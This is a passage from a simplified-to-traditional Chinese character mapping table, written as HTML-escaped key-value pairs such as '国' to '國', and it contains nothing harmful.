&#39;釐&#39;, &#39;厢&#39;: &#39;廂&#39;, &#39;厣&#39;: &#39;厴&#39;, &#39;厦&#39;: &#39;廈&#39;, &#39;厨&#39;: &#39;廚&#39;, &#39;厩&#39;: &#39;廄&#39;, &#39;厮&#39;: &#39;廝&#39;, &#39;县&#39;: &#39;縣&#39;, &#39;叁&#39;: &#39;叄&#39;, &#39;参&#39;: &#39;參&#39;, &#39;双&#39;: &#39;雙&#39;, &#39;变&#39;: &#39;變&#39;, &#39;叙&#39;: &#39;敘&#39;, &#39;叠&#39;: &#39;疊&#39;, &#39;号&#39;: &#39;號&#39;, &#39;叹&#39;: &#39;嘆&#39;, &#39;叽&#39;: &#39;嘰&#39;, &#39;吓&#39;: &#39;嚇&#39;, &#39;吕&#39;: &#39;呂&#39;, &#39;吗&#39;: &#39;嗎&#39;, &#39;吣&#39;: &#39;唚&#39;, &#39;吨&#39;: &#39;噸&#39;, &#39;听&#39;: &#39;聽&#39;, &#39;吴&#39;: &#39;吳&#39;, &#39;呐&#39;: &#39;吶&#39;, &#39;呒&#39;: &#39;嘸&#39;, &#39;呓&#39;: &#39;囈&#39;, &#39;呕&#39;: &#39;嘔&#39;, &#39;呖&#39;: &#39;嚦&#39;, &#39;呗&#39;: &#39;唄&#39;, &#39;员&#39;: &#39;員&#39;, &#39;呙&#39;: &#39;咼&#39;, &#39;呛&#39;: &#39;嗆&#39;, &#39;呜&#39;: &#39;嗚&#39;, &#39;咏&#39;: &#39;詠&#39;, &#39;咙&#39;: &#39;嚨&#39;, &#39;咛&#39;: &#39;嚀&#39;, &#39;咝&#39;: &#39;噝&#39;, &#39;咤&#39;: &#39;吒&#39;, &#39;响&#39;: &#39;響&#39;, &#39;哑&#39;: &#39;啞&#39;, &#39;哒&#39;: &#39;噠&#39;, &#39;哓&#39;: &#39;嘵&#39;, &#39;哔&#39;: &#39;嗶&#39;, &#39;哕&#39;: &#39;噦&#39;, &#39;哗&#39;: &#39;嘩&#39;, &#39;哙&#39;: &#39;噲&#39;, &#39;哜&#39;: &#39;嚌&#39;, &#39;哝&#39;: &#39;噥&#39;, &#39;哟&#39;: &#39;喲&#39;, &#39;唛&#39;: &#39;嘜&#39;, &#39;唝&#39;: &#39;嗊&#39;, &#39;唠&#39;: &#39;嘮&#39;, &#39;唡&#39;: &#39;啢&#39;, &#39;唢&#39;: &#39;嗩&#39;, &#39;唤&#39;: &#39;喚&#39;, &#39;啧&#39;: &#39;嘖&#39;, &#39;啬&#39;: &#39;嗇&#39;, &#39;啭&#39;: &#39;囀&#39;, &#39;啮&#39;: &#39;嚙&#39;, &#39;啴&#39;: &#39;嘽&#39;, &#39;啸&#39;: &#39;嘯&#39;, &#39;㖞&#39;: &#39;喎&#39;, &#39;喷&#39;: &#39;噴&#39;, &#39;喽&#39;: &#39;嘍&#39;, &#39;喾&#39;: &#39;嚳&#39;, &#39;嗫&#39;: &#39;囁&#39;, &#39;嗳&#39;: &#39;噯&#39;, &#39;嘘&#39;: &#39;噓&#39;, &#39;嘤&#39;: &#39;嚶&#39;, &#39;嘱&#39;: &#39;囑&#39;, &#39;㖊&#39;: &#39;噚&#39;, &#39;噜&#39;: &#39;嚕&#39;, &#39;嚣&#39;: &#39;囂&#39;, &#39;园&#39;: &#39;園&#39;, &#39;囱&#39;: &#39;囪&#39;, &#39;围&#39;: &#39;圍&#39;, &#39;囵&#39;: &#39;圇&#39;, &#39;国&#39;: &#39;國&#39;, &#39;图&#39;: &#39;圖&#39;, &#39;圆&#39;: &#39;圓&#39;, &#39;圣&#39;: &#39;聖&#39;, &#39;圹&#39;: &#39;壙&#39;, &#39;场&#39;: &#39;場&#39;, &#39;坂&#39;: &#39;阪&#39;, &#39;块&#39;: &#39;塊&#39;, &#39;坚&#39;: &#39;堅&#39;, &#39;坜&#39;: &#39;壢&#39;, &#39;坝&#39;: &#39;壩&#39;, &#39;坞&#39;: &#39;塢&#39;, &#39;坟&#39;: &#39;墳&#39;, &#39;坠&#39;: &#39;墜&#39;, &#39;垄&#39;: &#39;壟&#39;, &#39;垅&#39;: &#39;壠&#39;, &#39;垆&#39;: &#39;壚&#39;, &#39;垒&#39;: &#39;壘&#39;, &#39;垦&#39;: &#39;墾&#39;, &#39;垩&#39;: &#39;堊&#39;, &#39;垫&#39;: &#39;墊&#39;, &#39;垭&#39;: &#39;埡&#39;, &#39;垱&#39;: &#39;壋&#39;, &#39;垲&#39;: &#39;塏&#39;, &#39;垴&#39;: &#39;堖&#39;, &#39;埘&#39;: &#39;塒&#39;, &#39;埙&#39;: &#39;塤&#39;, &#39;埚&#39;: &#39;堝&#39;, &#39;埯&#39;: &#39;垵&#39;, &#39;堑&#39;: &#39;塹&#39;, &#39;堕&#39;: &#39;墮&#39;, &#39;𡒄&#39;: &#39;壈&#39;, &#39;壮&#39;: &#39;壯&#39;, &#39;声&#39;: &#39;聲&#39;, &#39;壶&#39;: &#39;壺&#39;, &#39;壸&#39;: &#39;壼&#39;, &#39;处&#39;: &#39;處&#39;, &#39;备&#39;: &#39;備&#39;, &#39;够&#39;: &#39;夠&#39;, &#39;头&#39;: &#39;頭&#39;, &#39;夸&#39;: &#39;誇&#39;, &#39;夹&#39;: &#39;夾&#39;, &#39;夺&#39;: &#39;奪&#39;, &#39;奁&#39;: &#39;奩&#39;, &#39;奂&#39;: &#39;奐&#39;, &#39;奋&#39;: &#39;奮&#39;, &#39;奥&#39;: &#39;奧&#39;, &#39;奸&#39;: &#39;姦&#39;, &#39;妆&#39;: &#39;妝&#39;, &#39;妇&#39;: &#39;婦&#39;, &#39;妈&#39;: &#39;媽&#39;, &#39;妩&#39;: &#39;嫵&#39;, &#39;妪&#39;: &#39;嫗&#39;, &#39;姗&#39;: &#39;姍&#39;, &#39;姹&#39;: &#39;奼&#39;, &#39;娄&#39;: &#39;婁&#39;, &#39;娅&#39;: &#39;婭&#39;, &#39;娆&#39;: &#39;嬈&#39;, &#39;娇&#39;: &#39;嬌&#39;, &#39;娈&#39;: &#39;孌&#39;, &#39;娱&#39;: &#39;娛&#39;, &#39;娲&#39;: &#39;媧&#39;, &#39;娴&#39;: &#39;嫻&#39;, &#39;婳&#39;: &#39;嫿&#39;, &#39;婴&#39;: &#39;嬰&#39;, &#39;婵&#39;: &#39;嬋&#39;, &#39;婶&#39;: &#39;嬸&#39;, &#39;媪&#39;: &#39;媼&#39;, &#39;嫒&#39;: &#39;嬡&#39;, &#39;嫔&#39;: &#39;嬪&#39;, &#39;嫱&#39;: &#39;嬙&#39;, &#39;嬷&#39;: &#39;嬤&#39;, &#39;孙&#39;: &#39;孫&#39;, &#39;学&#39;: &#39;學&#39;, &#39;孪&#39;: &#39;孿&#39;, &#39;宝&#39;: &#39;寶&#39;, &#39;实&#39;: &#39;實&#39;, &#39;宠&#39;: &#39;寵&#39;, &#39;审&#39;: &#39;審&#39;, &#39;宪&#39;: &#39;憲&#39;, &#39;宫&#39;: &#39;宮&#39;, &#39;宽&#39;: &#39;寬&#39;, &#39;宾&#39;: &#39;賓&#39;, &#39;寝&#39;: &#39;寢&#39;, &#39;对&#39;: &#39;對&#39;, &#39;寻&#39;: &#39;尋&#39;, &#39;导&#39;: &#39;導&#39;, &#39;寿&#39;: &#39;壽&#39;, &#39;将&#39;: &#39;將&#39;, &#39;尔&#39;: &#39;爾&#39;, &#39;尘&#39;: &#39;塵&#39;, &#39;尝&#39;: &#39;嘗&#39;, &#39;尧&#39;: &#39;堯&#39;, &#39;尴&#39;: &#39;尷&#39;, &#39;尸&#39;: &#39;屍&#39;, &#39;层&#39;: &#39;層&#39;, &#39;屃&#39;: &#39;屓&#39;, &#39;屉&#39;: &#39;屜&#39;, &#39;届&#39;: &#39;屆&#39;, &#39;属&#39;: &#39;屬&#39;, &#39;屡&#39;: &#39;屢&#39;, &#39;屦&#39;: &#39;屨&#39;, &#39;屿&#39;: &#39;嶼&#39;, &#39;岁&#39;: &#39;歲&#39;, &#39;岂&#39;: &#39;豈&#39;, &#39;岖&#39;: &#39;嶇&#39;, &#39;岗&#39;: &#39;崗&#39;, &#39;岘&#39;: &#39;峴&#39;, &#39;岙&#39;: &#39;嶴&#39;, &#39;岚&#39;: &#39;嵐&#39;, &#39;岛&#39;: &#39;島&#39;, &#39;岭&#39;: &#39;嶺&#39;, &#39;岽&#39;: &#39;崬&#39;, &#39;岿&#39;: &#39;巋&#39;, &#39;峄&#39;: &#39;嶧&#39;, &#39;峡&#39;: &#39;峽&#39;, &#39;峣&#39;: &#39;嶢&#39;, &#39;峤&#39;: &#39;嶠&#39;, &#39;峥&#39;: &#39;崢&#39;, &#39;峦&#39;: &#39;巒&#39;, &#39;崂&#39;: &#39;嶗&#39;, &#39;崃&#39;: &#39;崍&#39;, &#39;崄&#39;: &#39;嶮&#39;, &#39;崭&#39;: &#39;嶄&#39;, &#39;嵘&#39;: &#39;嶸&#39;, &#39;嵚&#39;: &#39;嶔&#39;, &#39;嵝&#39;: &#39;嶁&#39;, &#39;巅&#39;: &#39;巔&#39;, &#39;巩&#39;: &#39;鞏&#39;, &#39;巯&#39;: &#39;巰&#39;, &#39;币&#39;: &#39;幣&#39;, &#39;帅&#39;: &#39;帥&#39;, &#39;师&#39;: &#39;師&#39;, &#39;帏&#39;: &#39;幃&#39;, &#39;帐&#39;: &#39;帳&#39;, &#39;帜&#39;: &#39;幟&#39;, &#39;带&#39;: &#39;帶&#39;, &#39;帧&#39;: &#39;幀&#39;, &#39;帮&#39;: &#39;幫&#39;, &#39;帱&#39;: &#39;幬&#39;, &#39;帻&#39;: &#39;幘&#39;, &#39;帼&#39;: &#39;幗&#39;, &#39;幂&#39;: &#39;冪&#39;, &#39;庄&#39;: &#39;莊&#39;, &#39;庆&#39;: &#39;慶&#39;, &#39;庐&#39;: &#39;廬&#39;, &#39;庑&#39;: &#39;廡&#39;, &#39;库&#39;: &#39;庫&#39;, &#39;应&#39;: &#39;應&#39;, &#39;庙&#39;: &#39;廟&#39;, &#39;庞&#39;: &#39;龐&#39;, &#39;废&#39;: &#39;廢&#39;, &#39;廪&#39;: &#39;廩&#39;, &#39;开&#39;: &#39;開&#39;, &#39;异&#39;: &#39;異&#39;, &#39;弃&#39;: &#39;棄&#39;, &#39;弑&#39;: &#39;弒&#39;, &#39;张&#39;: &#39;張&#39;, &#39;弪&#39;: &#39;弳&#39;, &#39;弯&#39;: &#39;彎&#39;, &#39;弹&#39;: &#39;彈&#39;, &#39;强&#39;: &#39;強&#39;, &#39;归&#39;: &#39;歸&#39;, &#39;彝&#39;: &#39;彞&#39;, &#39;彦&#39;: &#39;彥&#39;, &#39;彻&#39;: &#39;徹&#39;, &#39;径&#39;: &#39;徑&#39;, &#39;徕&#39;: &#39;徠&#39;, &#39;忆&#39;: &#39;憶&#39;, &#39;忏&#39;: &#39;懺&#39;, &#39;忧&#39;: &#39;憂&#39;, &#39;忾&#39;: &#39;愾&#39;, &#39;怀&#39;: &#39;懷&#39;, &#39;态&#39;: &#39;態&#39;, &#39;怂&#39;: &#39;慫&#39;, &#39;怃&#39;: &#39;憮&#39;, &#39;怄&#39;: &#39;慪&#39;, &#39;怅&#39;: &#39;悵&#39;, &#39;怆&#39;: &#39;愴&#39;, &#39;怜&#39;: &#39;憐&#39;, &#39;总&#39;: &#39;總&#39;, &#39;怼&#39;: &#39;懟&#39;, &#39;怿&#39;: &#39;懌&#39;, &#39;恋&#39;: &#39;戀&#39;, &#39;恒&#39;: &#39;恆&#39;, &#39;恳&#39;: &#39;懇&#39;, &#39;恸&#39;: &#39;慟&#39;, &#39;恹&#39;: &#39;懨&#39;, &#39;恺&#39;: &#39;愷&#39;, &#39;恻&#39;: &#39;惻&#39;, &#39;恼&#39;: &#39;惱&#39;, &#39;恽&#39;: &#39;惲&#39;, &#39;悦&#39;: &#39;悅&#39;, &#39;悬&#39;: &#39;懸&#39;, &#39;悭&#39;: &#39;慳&#39;, &#39;悮&#39;: &#39;悞&#39;, &#39;悯&#39;: &#39;憫&#39;, &#39;惊&#39;: &#39;驚&#39;, &#39;惧&#39;: &#39;懼&#39;, &#39;惨&#39;: &#39;慘&#39;, &#39;惩&#39;: &#39;懲&#39;, &#39;惫&#39;: &#39;憊&#39;, &#39;惬&#39;: &#39;愜&#39;, &#39;惭&#39;: &#39;慚&#39;, &#39;惮&#39;: &#39;憚&#39;, &#39;惯&#39;: &#39;慣&#39;, &#39;愠&#39;: &#39;慍&#39;, &#39;愤&#39;: &#39;憤&#39;, &#39;愦&#39;: &#39;憒&#39;, &#39;慑&#39;: &#39;懾&#39;, &#39;懑&#39;: &#39;懣&#39;, &#39;懒&#39;: &#39;懶&#39;, &#39;懔&#39;: &#39;懍&#39;, &#39;戆&#39;: &#39;戇&#39;, &#39;戋&#39;: &#39;戔&#39;, &#39;戏&#39;: &#39;戲&#39;, &#39;戗&#39;: &#39;戧&#39;, &#39;战&#39;: &#39;戰&#39;, &#39;戬&#39;: &#39;戩&#39;, &#39;戯&#39;: &#39;戱&#39;, &#39;户&#39;: &#39;戶&#39;, &#39;扑&#39;: &#39;撲&#39;, &#39;执&#39;: &#39;執&#39;, &#39;扩&#39;: &#39;擴&#39;, &#39;扪&#39;: &#39;捫&#39;, &#39;扫&#39;: &#39;掃&#39;, &#39;扬&#39;: &#39;揚&#39;, &#39;扰&#39;: &#39;擾&#39;, &#39;抚&#39;: &#39;撫&#39;, &#39;抛&#39;: &#39;拋&#39;, &#39;抟&#39;: &#39;摶&#39;, &#39;抠&#39;: &#39;摳&#39;, &#39;抡&#39;: &#39;掄&#39;, &#39;抢&#39;: &#39;搶&#39;, &#39;护&#39;: &#39;護&#39;, &#39;报&#39;: &#39;報&#39;, &#39;拟&#39;: &#39;擬&#39;, &#39;拢&#39;: &#39;攏&#39;, &#39;拣&#39;: &#39;揀&#39;, &#39;拥&#39;: &#39;擁&#39;, &#39;拦&#39;: &#39;攔&#39;, &#39;拧&#39;: &#39;擰&#39;, &#39;拨&#39;: &#39;撥&#39;, &#39;择&#39;: &#39;擇&#39;, &#39;挂&#39;: &#39;掛&#39;, &#39;挚&#39;: &#39;摯&#39;, &#39;挛&#39;: &#39;攣&#39;, &#39;挜&#39;: &#39;掗&#39;, &#39;挝&#39;: &#39;撾&#39;, &#39;挞&#39;: &#39;撻&#39;, &#39;挟&#39;: &#39;挾&#39;, &#39;挠&#39;: &#39;撓&#39;, &#39;挡&#39;: &#39;擋&#39;, &#39;挢&#39;: &#39;撟&#39;, &#39;挣&#39;: &#39;掙&#39;, &#39;挤&#39;: &#39;擠&#39;, &#39;挥&#39;: &#39;揮&#39;, &#39;挦&#39;: &#39;撏&#39;, &#39;挽&#39;: &#39;輓&#39;, &#39;捝&#39;: &#39;挩&#39;, &#39;捞&#39;: &#39;撈&#39;, &#39;损&#39;: &#39;損&#39;, &#39;捡&#39;: &#39;撿&#39;, &#39;换&#39;: &#39;換&#39;, &#39;捣&#39;: &#39;搗&#39;, &#39;掳&#39;: &#39;擄&#39;, &#39;掴&#39;: &#39;摑&#39;, &#39;掷&#39;: &#39;擲&#39;, &#39;掸&#39;: &#39;撣&#39;, &#39;掺&#39;: &#39;摻&#39;, &#39;掼&#39;: &#39;摜&#39;, &#39;揽&#39;: &#39;攬&#39;, &#39;揾&#39;: &#39;搵&#39;, &#39;揿&#39;: &#39;撳&#39;, &#39;搀&#39;: &#39;攙&#39;, &#39;搁&#39;: &#39;擱&#39;, &#39;搂&#39;: &#39;摟&#39;, &#39;搅&#39;: &#39;攪&#39;, &#39;携&#39;: &#39;攜&#39;, &#39;摄&#39;: &#39;攝&#39;, &#39;摅&#39;: &#39;攄&#39;, &#39;摆&#39;: &#39;擺&#39;, &#39;摇&#39;: &#39;搖&#39;, &#39;摈&#39;: &#39;擯&#39;, &#39;摊&#39;: &#39;攤&#39;, &#39;撄&#39;: &#39;攖&#39;, &#39;撑&#39;: &#39;撐&#39;, &#39;㧑&#39;: &#39;撝&#39;, &#39;撵&#39;: &#39;攆&#39;, &#39;撷&#39;: &#39;擷&#39;, &#39;撸&#39;: &#39;擼&#39;, &#39;撺&#39;: &#39;攛&#39;, &#39;㧟&#39;: &#39;擓&#39;, &#39;擞&#39;: &#39;擻&#39;, &#39;攒&#39;: &#39;攢&#39;, &#39;敌&#39;: &#39;敵&#39;, &#39;敛&#39;: &#39;斂&#39;, &#39;数&#39;: &#39;數&#39;, &#39;斋&#39;: &#39;齋&#39;, &#39;斓&#39;: &#39;斕&#39;, &#39;斩&#39;: &#39;斬&#39;, &#39;断&#39;: &#39;斷&#39;, &#39;无&#39;: &#39;無&#39;, &#39;旧&#39;: &#39;舊&#39;, &#39;时&#39;: &#39;時&#39;, &#39;旷&#39;: &#39;曠&#39;, &#39;旸&#39;: &#39;暘&#39;, &#39;昙&#39;: &#39;曇&#39;, &#39;昼&#39;: &#39;晝&#39;, &#39;昽&#39;: &#39;曨&#39;, &#39;显&#39;: &#39;顯&#39;, &#39;晋&#39;: &#39;晉&#39;, &#39;晒&#39;: &#39;曬&#39;, &#39;晓&#39;: &#39;曉&#39;, &#39;晔&#39;: &#39;曄&#39;, &#39;晕&#39;: &#39;暈&#39;, &#39;晖&#39;: &#39;暉&#39;, &#39;暂&#39;: &#39;暫&#39;, &#39;暧&#39;: &#39;曖&#39;, &#39;机&#39;: &#39;機&#39;, &#39;杀&#39;: &#39;殺&#39;, &#39;杂&#39;: &#39;雜&#39;, &#39;权&#39;: &#39;權&#39;, &#39;杆&#39;: &#39;桿&#39;, &#39;条&#39;: &#39;條&#39;, &#39;来&#39;: &#39;來&#39;, &#39;杨&#39;: &#39;楊&#39;, &#39;杩&#39;: &#39;榪&#39;, &#39;杰&#39;: &#39;傑&#39;, &#39;构&#39;: &#39;構&#39;, &#39;枞&#39;: &#39;樅&#39;, &#39;枢&#39;: &#39;樞&#39;, &#39;枣&#39;: &#39;棗&#39;, &#39;枥&#39;: &#39;櫪&#39;, &#39;枧&#39;: &#39;梘&#39;, &#39;枨&#39;: &#39;棖&#39;, &#39;枪&#39;: &#39;槍&#39;, &#39;枫&#39;: &#39;楓&#39;, &#39;枭&#39;: &#39;梟&#39;, &#39;柠&#39;: &#39;檸&#39;, &#39;柽&#39;: &#39;檉&#39;, &#39;栀&#39;: &#39;梔&#39;, &#39;栅&#39;: &#39;柵&#39;, &#39;标&#39;: &#39;標&#39;, &#39;栈&#39;: &#39;棧&#39;, &#39;栉&#39;: &#39;櫛&#39;, &#39;栊&#39;: &#39;櫳&#39;, &#39;栋&#39;: &#39;棟&#39;, &#39;栌&#39;: &#39;櫨&#39;, &#39;栎&#39;: &#39;櫟&#39;, &#39;栏&#39;: &#39;欄&#39;, &#39;树&#39;: &#39;樹&#39;, &#39;栖&#39;: &#39;棲&#39;, &#39;栗&#39;: &#39;慄&#39;, &#39;样&#39;: &#39;樣&#39;, &#39;栾&#39;: &#39;欒&#39;, &#39;桠&#39;: &#39;椏&#39;, &#39;桡&#39;: &#39;橈&#39;, &#39;桢&#39;: &#39;楨&#39;, &#39;档&#39;: &#39;檔&#39;, &#39;桤&#39;: &#39;榿&#39;, &#39;桥&#39;: &#39;橋&#39;, &#39;桦&#39;: &#39;樺&#39;, &#39;桧&#39;: &#39;檜&#39;, &#39;桨&#39;: &#39;槳&#39;, &#39;桩&#39;: &#39;樁&#39;, &#39;梦&#39;: &#39;夢&#39;, &#39;梼&#39;: &#39;檮&#39;, &#39;梾&#39;: &#39;棶&#39;, &#39;梿&#39;: &#39;槤&#39;, &#39;检&#39;: &#39;檢&#39;, &#39;棁&#39;: &#39;梲&#39;, &#39;棂&#39;: &#39;欞&#39;, &#39;椁&#39;: &#39;槨&#39;, &#39;椟&#39;: &#39;櫝&#39;, &#39;椠&#39;: &#39;槧&#39;, &#39;椤&#39;: &#39;欏&#39;, &#39;椭&#39;: &#39;橢&#39;, &#39;楼&#39;: &#39;樓&#39;, &#39;榄&#39;: &#39;欖&#39;, &#39;榅&#39;: &#39;榲&#39;, &#39;榇&#39;: &#39;櫬&#39;, &#39;榈&#39;: &#39;櫚&#39;, &#39;榉&#39;: &#39;櫸&#39;, &#39;槚&#39;: &#39;檟&#39;, &#39;槛&#39;: &#39;檻&#39;, &#39;槟&#39;: &#39;檳&#39;, &#39;槠&#39;: &#39;櫧&#39;, &#39;横&#39;: &#39;橫&#39;, &#39;樯&#39;: &#39;檣&#39;, &#39;樱&#39;: &#39;櫻&#39;, &#39;橥&#39;: &#39;櫫&#39;, &#39;橱&#39;: &#39;櫥&#39;, &#39;橹&#39;: &#39;櫓&#39;, &#39;橼&#39;: &#39;櫞&#39;, &#39;檩&#39;: &#39;檁&#39;, &#39;欢&#39;: &#39;歡&#39;, &#39;欤&#39;: &#39;歟&#39;, &#39;欧&#39;: &#39;歐&#39;, &#39;歼&#39;: &#39;殲&#39;, &#39;殁&#39;: &#39;歿&#39;, &#39;殇&#39;: &#39;殤&#39;, &#39;残&#39;: &#39;殘&#39;, &#39;殒&#39;: &#39;殞&#39;, &#39;殓&#39;: &#39;殮&#39;, &#39;殚&#39;: &#39;殫&#39;, &#39;殡&#39;: &#39;殯&#39;, &#39;㱮&#39;: &#39;殨&#39;, &#39;㱩&#39;: &#39;殰&#39;, &#39;殴&#39;: &#39;毆&#39;, &#39;毁&#39;: &#39;毀&#39;, &#39;毂&#39;: &#39;轂&#39;, &#39;毕&#39;: &#39;畢&#39;, &#39;毙&#39;: &#39;斃&#39;, &#39;毡&#39;: &#39;氈&#39;, &#39;毵&#39;: &#39;毿&#39;, &#39;氇&#39;: &#39;氌&#39;, &#39;气&#39;: &#39;氣&#39;, &#39;氢&#39;: &#39;氫&#39;, &#39;氩&#39;: &#39;氬&#39;, &#39;氲&#39;: &#39;氳&#39;, &#39;汉&#39;: &#39;漢&#39;, &#39;汤&#39;: &#39;湯&#39;, &#39;汹&#39;: &#39;洶&#39;, &#39;沟&#39;: &#39;溝&#39;, &#39;没&#39;: &#39;沒&#39;, &#39;沣&#39;: &#39;灃&#39;, &#39;沤&#39;: &#39;漚&#39;, &#39;沥&#39;: &#39;瀝&#39;, &#39;沦&#39;: &#39;淪&#39;, &#39;沧&#39;: &#39;滄&#39;, &#39;沪&#39;: &#39;滬&#39;, &#39;泞&#39;: &#39;濘&#39;, &#39;注&#39;: &#39;註&#39;, &#39;泪&#39;: &#39;淚&#39;, &#39;泶&#39;: &#39;澩&#39;, &#39;泷&#39;: &#39;瀧&#39;, &#39;泸&#39;: &#39;瀘&#39;, &#39;泺&#39;: &#39;濼&#39;, &#39;泻&#39;: &#39;瀉&#39;, &#39;泼&#39;: &#39;潑&#39;, &#39;泽&#39;: &#39;澤&#39;, &#39;泾&#39;: &#39;涇&#39;, &#39;洁&#39;: &#39;潔&#39;, &#39;洒&#39;: &#39;灑&#39;, &#39;洼&#39;: &#39;窪&#39;, &#39;浃&#39;: &#39;浹&#39;, &#39;浅&#39;: &#39;淺&#39;, &#39;浆&#39;: &#39;漿&#39;, &#39;浇&#39;: &#39;澆&#39;, &#39;浈&#39;: &#39;湞&#39;, &#39;浊&#39;: &#39;濁&#39;, &#39;测&#39;: &#39;測&#39;, &#39;浍&#39;: &#39;澮&#39;, &#39;济&#39;: &#39;濟&#39;, &#39;浏&#39;: &#39;瀏&#39;, &#39;浐&#39;: &#39;滻&#39;, &#39;浑&#39;: &#39;渾&#39;, &#39;浒&#39;: &#39;滸&#39;, &#39;浓&#39;: &#39;濃&#39;, &#39;浔&#39;: &#39;潯&#39;, &#39;涛&#39;: &#39;濤&#39;, &#39;涝&#39;: &#39;澇&#39;, &#39;涞&#39;: &#39;淶&#39;, &#39;涟&#39;: &#39;漣&#39;, &#39;涠&#39;: &#39;潿&#39;, &#39;涡&#39;: &#39;渦&#39;, &#39;涣&#39;: &#39;渙&#39;, &#39;涤&#39;: &#39;滌&#39;, &#39;润&#39;: &#39;潤&#39;, &#39;涧&#39;: &#39;澗&#39;, &#39;涨&#39;: &#39;漲&#39;, &#39;涩&#39;: &#39;澀&#39;, &#39;渊&#39;: &#39;淵&#39;, &#39;渌&#39;: &#39;淥&#39;, &#39;渍&#39;: &#39;漬&#39;, &#39;渎&#39;: &#39;瀆&#39;, &#39;渐&#39;: &#39;漸&#39;, &#39;渑&#39;: &#39;澠&#39;, &#39;渔&#39;: &#39;漁&#39;, &#39;渖&#39;: &#39;瀋&#39;, &#39;渗&#39;: &#39;滲&#39;, &#39;温&#39;: &#39;溫&#39;, &#39;湾&#39;: &#39;灣&#39;, &#39;湿&#39;: &#39;濕&#39;, &#39;溃&#39;: &#39;潰&#39;, &#39;溅&#39;: &#39;濺&#39;, &#39;溆&#39;: &#39;漵&#39;, &#39;滗&#39;: &#39;潷&#39;, &#39;滚&#39;: &#39;滾&#39;, &#39;滞&#39;: &#39;滯&#39;, &#39;滟&#39;: &#39;灧&#39;, &#39;滠&#39;: &#39;灄&#39;, &#39;满&#39;: &#39;滿&#39;, &#39;滢&#39;: &#39;瀅&#39;, &#39;滤&#39;: &#39;濾&#39;, &#39;滥&#39;: &#39;濫&#39;, &#39;滦&#39;: &#39;灤&#39;, &#39;滨&#39;: &#39;濱&#39;, &#39;滩&#39;: &#39;灘&#39;, &#39;滪&#39;: &#39;澦&#39;, &#39;漤&#39;: &#39;灠&#39;, &#39;潆&#39;: &#39;瀠&#39;, &#39;潇&#39;: &#39;瀟&#39;, &#39;潋&#39;: &#39;瀲&#39;, &#39;潍&#39;: &#39;濰&#39;, &#39;潜&#39;: &#39;潛&#39;, &#39;潴&#39;: &#39;瀦&#39;, &#39;澜&#39;: &#39;瀾&#39;, &#39;濑&#39;: &#39;瀨&#39;, &#39;濒&#39;: &#39;瀕&#39;, &#39;㲿&#39;: &#39;瀇&#39;, &#39;灏&#39;: &#39;灝&#39;, &#39;灭&#39;: &#39;滅&#39;, &#39;灯&#39;: &#39;燈&#39;, &#39;灵&#39;: &#39;靈&#39;, &#39;灶&#39;: &#39;竈&#39;, &#39;灾&#39;: &#39;災&#39;, &#39;灿&#39;: &#39;燦&#39;, &#39;炀&#39;: &#39;煬&#39;, &#39;炉&#39;: &#39;爐&#39;, &#39;炖&#39;: &#39;燉&#39;, &#39;炜&#39;: &#39;煒&#39;, &#39;炝&#39;: &#39;熗&#39;, &#39;点&#39;: &#39;點&#39;, &#39;炼&#39;: &#39;煉&#39;, &#39;炽&#39;: &#39;熾&#39;, &#39;烁&#39;: &#39;爍&#39;, &#39;烂&#39;: &#39;爛&#39;, &#39;烃&#39;: &#39;烴&#39;, &#39;烛&#39;: &#39;燭&#39;, &#39;烟&#39;: &#39;煙&#39;, &#39;烦&#39;: &#39;煩&#39;, &#39;烧&#39;: &#39;燒&#39;, &#39;烨&#39;: &#39;燁&#39;, &#39;烩&#39;: &#39;燴&#39;, &#39;烫&#39;: &#39;燙&#39;, &#39;烬&#39;: &#39;燼&#39;, &#39;热&#39;: &#39;熱&#39;, &#39;焕&#39;: &#39;煥&#39;, &#39;焖&#39;: &#39;燜&#39;, &#39;焘&#39;: &#39;燾&#39;, &#39;㶽&#39;: &#39;煱&#39;, &#39;煴&#39;: &#39;熅&#39;, &#39;㶶&#39;: &#39;燶&#39;, &#39;爱&#39;: &#39;愛&#39;, &#39;爷&#39;: &#39;爺&#39;, &#39;牍&#39;: &#39;牘&#39;, &#39;牦&#39;: &#39;氂&#39;, &#39;牵&#39;: &#39;牽&#39;, &#39;牺&#39;: &#39;犧&#39;, &#39;犊&#39;: &#39;犢&#39;, &#39;状&#39;: &#39;狀&#39;, &#39;犷&#39;: &#39;獷&#39;, &#39;犸&#39;: &#39;獁&#39;, &#39;犹&#39;: &#39;猶&#39;, &#39;狈&#39;: &#39;狽&#39;, &#39;狝&#39;: &#39;獮&#39;, &#39;狞&#39;: &#39;獰&#39;, &#39;独&#39;: &#39;獨&#39;, &#39;狭&#39;: &#39;狹&#39;, &#39;狮&#39;: &#39;獅&#39;, &#39;狯&#39;: &#39;獪&#39;, &#39;狰&#39;: &#39;猙&#39;, &#39;狱&#39;: &#39;獄&#39;, &#39;狲&#39;: &#39;猻&#39;, &#39;猃&#39;: &#39;獫&#39;, &#39;猎&#39;: &#39;獵&#39;, &#39;猕&#39;: &#39;獼&#39;, &#39;猡&#39;: &#39;玀&#39;, &#39;猪&#39;: &#39;豬&#39;, &#39;猫&#39;: &#39;貓&#39;, &#39;猬&#39;: &#39;蝟&#39;, &#39;献&#39;: &#39;獻&#39;, &#39;獭&#39;: &#39;獺&#39;, &#39;㺍&#39;: &#39;獱&#39;, &#39;玑&#39;: &#39;璣&#39;, &#39;玚&#39;: &#39;瑒&#39;, &#39;玛&#39;: &#39;瑪&#39;, &#39;玮&#39;: &#39;瑋&#39;, &#39;环&#39;: &#39;環&#39;, &#39;现&#39;: &#39;現&#39;, &#39;玱&#39;: &#39;瑲&#39;, &#39;玺&#39;: &#39;璽&#39;, &#39;珐&#39;: &#39;琺&#39;, &#39;珑&#39;: &#39;瓏&#39;, &#39;珰&#39;: &#39;璫&#39;, &#39;珲&#39;: &#39;琿&#39;, &#39;琏&#39;: &#39;璉&#39;, &#39;琐&#39;: &#39;瑣&#39;, &#39;琼&#39;: &#39;瓊&#39;, &#39;瑶&#39;: &#39;瑤&#39;, &#39;瑷&#39;: &#39;璦&#39;, &#39;璎&#39;: &#39;瓔&#39;, &#39;瓒&#39;: &#39;瓚&#39;, &#39;瓯&#39;: &#39;甌&#39;, &#39;电&#39;: &#39;電&#39;, &#39;畅&#39;: &#39;暢&#39;, &#39;畴&#39;: &#39;疇&#39;, &#39;疖&#39;: &#39;癤&#39;, &#39;疗&#39;: &#39;療&#39;, &#39;疟&#39;: &#39;瘧&#39;, &#39;疠&#39;: &#39;癘&#39;, &#39;疡&#39;: &#39;瘍&#39;, 